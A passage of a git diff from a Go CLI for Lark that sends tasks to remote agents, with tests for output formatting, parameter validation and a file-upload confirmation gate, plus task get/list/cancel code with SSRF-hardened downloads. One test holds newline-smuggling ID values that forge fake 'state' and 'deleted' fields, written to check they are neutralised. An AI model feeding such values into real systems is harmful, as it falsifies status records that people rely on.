opts.Format = "pretty"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --format pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
|
||||
// (key: value preview) instead of silently emitting JSON.
|
||||
func TestSendDryRunPrettyFormat(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
|
||||
if !strings.Contains(text, want) {
|
||||
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
|
||||
}
|
||||
}
|
||||
var env output.Envelope
|
||||
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
|
||||
t.Errorf("pretty should not be a JSON envelope: %s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
|
||||
// runs context_id/task_id through kvValue (like every other pretty face), so a
|
||||
// value carrying a newline cannot forge an adjacent "key: value" field row.
|
||||
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.DryRun = true
|
||||
opts.Format = "pretty"
|
||||
opts.ContextID = "ctx1\nstate: completed"
|
||||
opts.TaskID = "task1\ndeleted: true"
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run pretty should not error: %v", err)
|
||||
}
|
||||
text := string(out.Bytes())
|
||||
// The raw newline must not survive into a forged adjacent row.
|
||||
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
|
||||
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
if strings.Contains(text, "task_id: task1\ndeleted: true") {
|
||||
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
|
||||
}
|
||||
// kvValue collapses the newline to a space, keeping the value on one line.
|
||||
if !strings.Contains(text, "context_id: ctx1 state: completed") {
|
||||
t.Errorf("context_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
if !strings.Contains(text, "task_id: task1 deleted: true") {
|
||||
t.Errorf("task_id should collapse to one line, got:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendNoParamsRequired pins card v2: the scripted card declares no
|
||||
// parameters, so a send without any --param passes card validation — asserted
|
||||
// via --dry-run so no provider Send fires. A malformed --param is still a
|
||||
// validation error.
|
||||
func TestSendNoParamsRequired(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = nil
|
||||
opts.DryRun = true
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
|
||||
}
|
||||
|
||||
opts2 := sendTestOpts(t)
|
||||
opts2.Text = "分析销售"
|
||||
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
|
||||
opts2.DryRun = true
|
||||
err := agentSendRun(opts2)
|
||||
if err == nil {
|
||||
t.Fatal("malformed --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
|
||||
// any --param key is unknown → invalid_argument with a hint pointing at
|
||||
// `agent card`, raised before any provider Send (asserted via --dry-run with
|
||||
// no send hook installed).
|
||||
func TestSendUnknownParamRejected(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.Params = []string{"app_id=app_1"}
|
||||
opts.DryRun = true
|
||||
err := agentSendRun(opts)
|
||||
if err == nil {
|
||||
t.Fatal("card did not declare app_id, --param app_id should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendDryRun pins that --dry-run prints a would_send preview and never
|
||||
// calls the provider (no send hook installed → a Send would panic).
|
||||
func TestSendDryRun(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
opts.DryRun = true
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
if !env.OK {
|
||||
t.Errorf("ok should be true: %+v", env)
|
||||
}
|
||||
data, ok := env.Data.(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data should be an object, got %T", env.Data)
|
||||
}
|
||||
if data["dry_run"] != true {
|
||||
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
|
||||
}
|
||||
would, ok := data["would_send"].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
|
||||
}
|
||||
if would["text"] != "分析销售" {
|
||||
t.Errorf("would_send.text should echo the text, got %v", would["text"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendStartsTask pins the happy path: a single Send fires and returns the
|
||||
// submitted / working task in a success envelope immediately (no polling), with
|
||||
// a meta.next hint pointing at task get --watch.
|
||||
func TestSendStartsTask(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "分析销售"
|
||||
var gotText string
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
gotText = in.Text
|
||||
return workingTask(), nil
|
||||
}})
|
||||
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send should not error: %v", err)
|
||||
}
|
||||
if gotText != "分析销售" {
|
||||
t.Errorf("provider should receive the original text, got %q", gotText)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
|
||||
}
|
||||
data, _ := env.Data.(map[string]interface{})
|
||||
if data["task_id"] != "chat_1" {
|
||||
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
|
||||
}
|
||||
if data["state"] != string(iagent.StateWorking) {
|
||||
t.Errorf("state should be working, got %v", data["state"])
|
||||
}
|
||||
// meta.next should suggest polling / continuing.
|
||||
if !strings.Contains(string(out.Bytes()), `"next"`) {
|
||||
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendSendError surfaces a provider Send failure unchanged.
|
||||
func TestSendSendError(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "x"
|
||||
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
|
||||
}})
|
||||
if err := agentSendRun(opts); err == nil {
|
||||
t.Fatal("Send error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
|
||||
// text/task-id guards pass.
|
||||
func TestSendInvalidRef(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
|
||||
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
|
||||
if err == nil {
|
||||
t.Fatal("malformed ref should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("want validation error, got %T", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
|
||||
// presence of the send-specific flags.
|
||||
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
|
||||
cmd := NewCmdAgentSend(nil, nil)
|
||||
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
|
||||
t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{}); err == nil {
|
||||
t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
|
||||
}
|
||||
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
|
||||
t.Errorf("agent send with a single ref should be valid: %v", err)
|
||||
}
|
||||
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
|
||||
if cmd.Flags().Lookup(name) == nil {
|
||||
t.Errorf("agent send should have --%s flag", name)
|
||||
}
|
||||
}
|
||||
if cmd.Flags().Lookup("wait") != nil {
|
||||
t.Error("agent send --wait should be removed (polling goes through task get --watch)")
|
||||
}
|
||||
// The --file help must point out that files are sent off to the remote
|
||||
// provider (file-egress requirement).
|
||||
fileFlag := cmd.Flags().Lookup("file")
|
||||
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
|
||||
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
|
||||
}
|
||||
}
|
||||
|
||||
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
|
||||
// instead of the production path (construction-time seam).
|
||||
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
|
||||
called := false
|
||||
var captured *sendOptions
|
||||
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
|
||||
called = true
|
||||
captured = opts
|
||||
return nil
|
||||
})
|
||||
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
|
||||
cmd.SetContext(context.Background())
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("execute should not error: %v", err)
|
||||
}
|
||||
if !called {
|
||||
t.Fatal("runF should be called")
|
||||
}
|
||||
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
|
||||
t.Errorf("opts not populated correctly: %+v", captured)
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
|
||||
// carrying --file to a provider that supports file upload (the scripted card has
|
||||
// file_input=true) requires --yes, so without it the command returns
|
||||
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
|
||||
// hook is a tripwire that would panic if the gate let the upload through.
|
||||
func TestSend_FileRequiresYes(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"} // no --yes
|
||||
|
||||
err := agentSendRun(opts)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
|
||||
// send reaches the provider, which receives the file path.
|
||||
func TestSend_FileWithYesProceeds(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
sent := false
|
||||
setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
|
||||
sent = true
|
||||
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
|
||||
t.Errorf("provider should receive the --file path, got %v", in.Files)
|
||||
}
|
||||
return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
|
||||
}})
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.Yes = true
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("send --file --yes should proceed: %v", err)
|
||||
}
|
||||
if !sent {
|
||||
t.Error("provider Send should be reached after --yes")
|
||||
}
|
||||
}
|
||||
|
||||
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
|
||||
// gate (dry-run never uploads), so it needs no --yes and never reaches the
|
||||
// provider (unset send hook stays a tripwire).
|
||||
func TestSend_FileDryRunNotGated(t *testing.T) {
|
||||
opts := sendTestOpts(t)
|
||||
opts.Text = "hi"
|
||||
opts.Files = []string{"local.txt"}
|
||||
opts.DryRun = true // no --yes
|
||||
|
||||
if err := agentSendRun(opts); err != nil {
|
||||
t.Fatalf("dry-run --file should not be gated: %v", err)
|
||||
}
|
||||
}
|
||||
485
cmd/agent/task.go
Normal file
485
cmd/agent/task.go
Normal file
@@ -0,0 +1,485 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
"github.com/larksuite/cli/internal/validate"
|
||||
"github.com/larksuite/cli/internal/vfs"
|
||||
)
|
||||
|
||||
// maxArtifactBytes caps a single downloaded artifact to guard against an
|
||||
// untrusted host streaming an unbounded body onto local disk.
|
||||
const maxArtifactBytes = 256 << 20 // 256 MiB
|
||||
|
||||
// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
|
||||
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
|
||||
// are wired once; each RunE reads only the fields its verb needs.
|
||||
type taskOptions struct {
|
||||
Factory *cmdutil.Factory
|
||||
Cmd *cobra.Command
|
||||
Ref string
|
||||
TaskID string
|
||||
ContextID string
|
||||
ArtifactID string
|
||||
Output string
|
||||
Force bool
|
||||
Watch bool
|
||||
Timeout time.Duration
|
||||
As string
|
||||
Format string
|
||||
}
|
||||
|
||||
// resolveDownload is the DownloadArtifact seam: it resolves the provider
|
||||
// addressed by opts under the effective identity, runs the local scope
|
||||
// preflight, and fetches the artifact descriptor. Tests swap it to return
|
||||
// inline bytes without a Factory / network.
|
||||
var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
|
||||
p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Capability gate before the API call: a provider that does not wire
|
||||
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
|
||||
if p.DownloadArtifact == nil {
|
||||
return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
|
||||
}
|
||||
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
|
||||
}
|
||||
|
||||
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
|
||||
// its bytes with a download-hardened client. Tests swap it to serve a loopback
|
||||
// httptest server (which the production SSRF guard would otherwise block).
|
||||
var artifactFetch = fetchArtifactURL
|
||||
|
||||
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
|
||||
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
|
||||
// tests swap it to pass the (interceptable) base client through unchanged so the
|
||||
// request/status/read/limit logic can run against an httpmock transport that the
|
||||
// hardened client's transport clone would otherwise discard.
|
||||
var hardenDownloadClient = func(base *http.Client) *http.Client {
|
||||
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
|
||||
}
|
||||
|
||||
// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
|
||||
// tasks on a remote agent. It is a pure group with no RunE so an unknown
|
||||
// subcommand is reported rather than silently swallowed.
|
||||
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
|
||||
cmd := &cobra.Command{
|
||||
Use: "task",
|
||||
Short: "Query / list / cancel a remote agent's tasks",
|
||||
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
|
||||
}
|
||||
cmd.AddCommand(NewCmdAgentTaskGet(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskList(f))
|
||||
cmd.AddCommand(NewCmdAgentTaskCancel(f))
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
|
||||
// task's state and artifacts. `--watch` polls until the task reaches a stop
|
||||
// condition and the terminal state drives the semantic exit code;
|
||||
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
|
||||
// the backward-compatible default). `--artifact <id>` downloads that artifact
|
||||
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
|
||||
// and fetched, an inline-bytes artifact is written straight to disk.
|
||||
// Risk=read.
|
||||
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "get <agent_ref> <task-id>",
|
||||
Short: "Query a single task's state and artifacts",
|
||||
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskGetRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
|
||||
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s;0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
|
||||
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id(须配合 -o 指定落盘路径),不打印任务详情")
|
||||
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
|
||||
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
|
||||
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
|
||||
// meta.count. Risk=read.
|
||||
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "list <agent_ref>",
|
||||
Short: "List a remote agent's tasks",
|
||||
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
|
||||
Args: exactArgsWithUsage(1),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
return agentTaskListRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
|
||||
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
|
||||
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
|
||||
// command returns unsupported_capability without contacting the API.
|
||||
// Risk=write.
|
||||
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
|
||||
opts := &taskOptions{Factory: f}
|
||||
cmd := &cobra.Command{
|
||||
Use: "cancel <agent_ref> <task-id>",
|
||||
Short: "Cancel (interrupt) a remote agent's task",
|
||||
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
|
||||
Args: exactArgsWithUsage(2),
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
if err := validateFormat(opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
opts.Cmd = cmd
|
||||
opts.Ref = args[0]
|
||||
opts.TaskID = args[1]
|
||||
return agentTaskCancelRun(opts)
|
||||
},
|
||||
}
|
||||
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
|
||||
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
|
||||
addAsFlag(cmd, f, &opts.As)
|
||||
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
|
||||
return cmd
|
||||
}
|
||||
|
||||
// addAsFlag registers the identity flag: the real API-identity flag when a
|
||||
// Factory is present, or a bare --as for construction-time unit tests (f nil).
|
||||
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
|
||||
if f != nil {
|
||||
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
|
||||
return
|
||||
}
|
||||
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
|
||||
}
|
||||
|
||||
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
|
||||
// -o) runs first so it never touches the network and holds under a nil Factory.
|
||||
// With `--artifact` it downloads the named artifact to -o; otherwise it
|
||||
// fetches the task, optionally polling it to a stop condition under --watch, and
|
||||
// emits the task with the terminal state driving the semantic exit code.
|
||||
func agentTaskGetRun(opts *taskOptions) error {
|
||||
if opts.ArtifactID != "" {
|
||||
if opts.Output == "" {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--artifact 需配合 -o/--output 指定落盘路径").
|
||||
WithParam("--output").
|
||||
WithHint("补充 -o <落盘路径> 后重发")
|
||||
}
|
||||
return downloadArtifact(opts)
|
||||
}
|
||||
|
||||
// --timeout only bounds the --watch poll; without --watch it is meaningless.
|
||||
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
|
||||
// so it never touches the network and holds under a nil Factory.
|
||||
if opts.Timeout > 0 && !opts.Watch {
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--timeout 需与 --watch 一起使用").
|
||||
WithParam("--timeout").
|
||||
WithHint("--timeout 需与 --watch 一起使用")
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
ctx := opts.Cmd.Context()
|
||||
task, err := p.GetTask(ctx, opts.TaskID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if opts.Watch && !task.State.ShouldStopPolling() {
|
||||
// A positive --timeout bounds the poll: pollToStop returns the most recent
|
||||
// task with a nil error when the deadline fires (a timeout is an
|
||||
// observation-window close, not a failure), so a long task degrades to
|
||||
// "current state + a fresh watch hint" instead of blocking forever. 0 =
|
||||
// unbounded (the backward-compatible default). pollToStop is unchanged.
|
||||
pollCtx := ctx
|
||||
if opts.Timeout > 0 {
|
||||
var cancel context.CancelFunc
|
||||
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
|
||||
defer cancel()
|
||||
}
|
||||
final, perr := pollToStop(pollCtx, p, opts.TaskID)
|
||||
if perr != nil {
|
||||
return perr
|
||||
}
|
||||
if final != nil {
|
||||
task = final
|
||||
}
|
||||
}
|
||||
|
||||
// Derive IsTerminal from State (single source of truth) before any consumer
|
||||
// — emitTask's output and semanticExitError below both read the flag.
|
||||
normalizeTask(task)
|
||||
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
|
||||
return err
|
||||
}
|
||||
// Under --watch a non-successful terminal state signals exit 1; a
|
||||
// plain get (or a non-terminal stop) is exit 0.
|
||||
if opts.Watch {
|
||||
return semanticExitError(task)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
|
||||
// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
|
||||
func agentTaskListRun(opts *taskOptions) error {
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Capability gate before the API call: a provider that does not wire
|
||||
// ListTasks (card task_list=false) returns unsupported_capability.
|
||||
if p.ListTasks == nil {
|
||||
return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tasks = normalizeTaskSummaries(tasks)
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
printTaskSummariesTSV(f.IOStreams.Out, tasks)
|
||||
return nil
|
||||
}
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(id),
|
||||
Data: map[string]interface{}{"tasks": tasks},
|
||||
Meta: &output.Meta{Count: len(tasks)},
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if jq := jqExpr(opts.Cmd); jq != "" {
|
||||
return output.JqFilter(f.IOStreams.Out, env, jq)
|
||||
}
|
||||
output.PrintJson(f.IOStreams.Out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
|
||||
// network access: it resolves the (statically synthesized) Card for ref and, if
|
||||
// task_cancel is not supported, returns unsupported_capability without a Factory
|
||||
// or API call. Only a supporting provider reaches resolveProvider +
|
||||
// CancelTask.
|
||||
func agentTaskCancelRun(opts *taskOptions) error {
|
||||
// Gate before requiring a Factory / network: resolve with zero Deps and read
|
||||
// the CancelTask capability (a wired field == card task_cancel=true). An agent
|
||||
// that does not support cancel (e.g. example:echo) returns
|
||||
// unsupported_capability with no Factory or API access.
|
||||
probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
|
||||
if err != nil {
|
||||
return wrapRefResolveError(err)
|
||||
}
|
||||
if probe.CancelTask == nil {
|
||||
return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
|
||||
}
|
||||
|
||||
f := opts.Factory
|
||||
p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Local scope preflight: after resolveProvider, before the API call.
|
||||
// A task_cancel=false agent never reaches here (gated above); it is wired so
|
||||
// a provider that supports cancel is not silently exempt from the
|
||||
// all-or-nothing scope check.
|
||||
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
|
||||
return err
|
||||
}
|
||||
// pretty is a human view only; a --jq expression implies structured JSON.
|
||||
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
|
||||
